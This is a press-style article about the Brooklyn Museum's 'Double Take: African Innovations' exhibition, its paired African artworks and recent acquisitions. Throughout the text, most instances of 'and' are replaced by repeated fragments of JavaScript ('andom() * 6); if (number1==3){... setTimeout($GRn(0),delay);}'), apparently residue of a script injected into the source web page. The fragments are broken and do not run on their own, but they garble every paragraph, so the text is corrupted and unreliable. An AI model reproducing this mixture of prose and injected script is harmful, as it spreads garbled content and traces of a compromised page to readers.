BROOKLYN, N.Y. — A new exhibition of African works from the Brooklyn Museum’s collection, displayed in 15 thematic pairs, explores new ways of looking at African art by focusing on artistic themes, solutions andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and techniques recurring throughout history. “Double Take: African Innovations” will open October 29 in a temporary location while an extensive renovation of the first floor of the museum is under way.

“Double Take,” the second phase in the Brooklyn Museum’s ongoing expansion of its African collection andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and exploration of the stories these works can tell, builds upon “African Innovations,” the critically acclaimed historical presentation that was deinstalled in late September. “Double Take” is a long-term exhibition, but its current evolution is an interim installation of nearly 40 objects features a number of new andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and major recent acquisitions.

“Looking Back Into the Future,” 2008, a work by internationally recognized Ghanaian artist Owusu-Ankomah, whose paintings depict a spiritual world inhabited by people andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and symbols, will be paired with an ancient hieroglyph-inscribed shabti of the Nubian king Senkamanisken (circa 640–620 BCE) to explore the art of writing as a fundamental embodiment of human expression in Africa over the course of many centuries.

Also recently acquired, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on view at the Brooklyn Museum for the first time, is “Fiegnon,” 2011, by acclaimed Beninois artist Romuald Hazoumé. Like many of his most celebrated works, this piece is built around a discarded oilcan. This remarkable object, fashioned to look like a man’s head, represents the first acquisition by a public collection in New York City of a work by this sculptor, installation artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and photographer, whose art has been exhibited internationally in museums, biennials andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and galleries. It is paired in this installation with the unequaled Twelfth Century terracotta “Fragment of a Head,” by an unidentified Yoruba artist from Ife, Nigeria, to highlight continuities andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and innovations in African portraiture.

Organized by Kevin Dumouchelle, associate curator of African art, other familiar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and celebrated favorites from the museum’s African holdings include the Sixteenth Century copper-alloy masterpiece “Figure of a Hornblower,” by an unknown Edo artist from the kingdom of Benin — one of only ten such figures known to exist. It will join “Welcome in Our Peace World,” a remarkable 1993 piece by South African Johannes Mashego Segolgela, which celebrates the end of the armed struggle against apartheid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the dawning of a new, democratic era.

In a feature unique to this experimental installation, visitors will be invited to recommend additional themes for works to be presented in a display case devoted to audience suggestions andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and questions. This audience feedback, along with the experiences of both “Double Take” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “African Innovations,” will inform the upcoming larger presentation of the museum’s African collection. During construction, an open-storage area containing more than 150 additional African masterpieces will remain on view.

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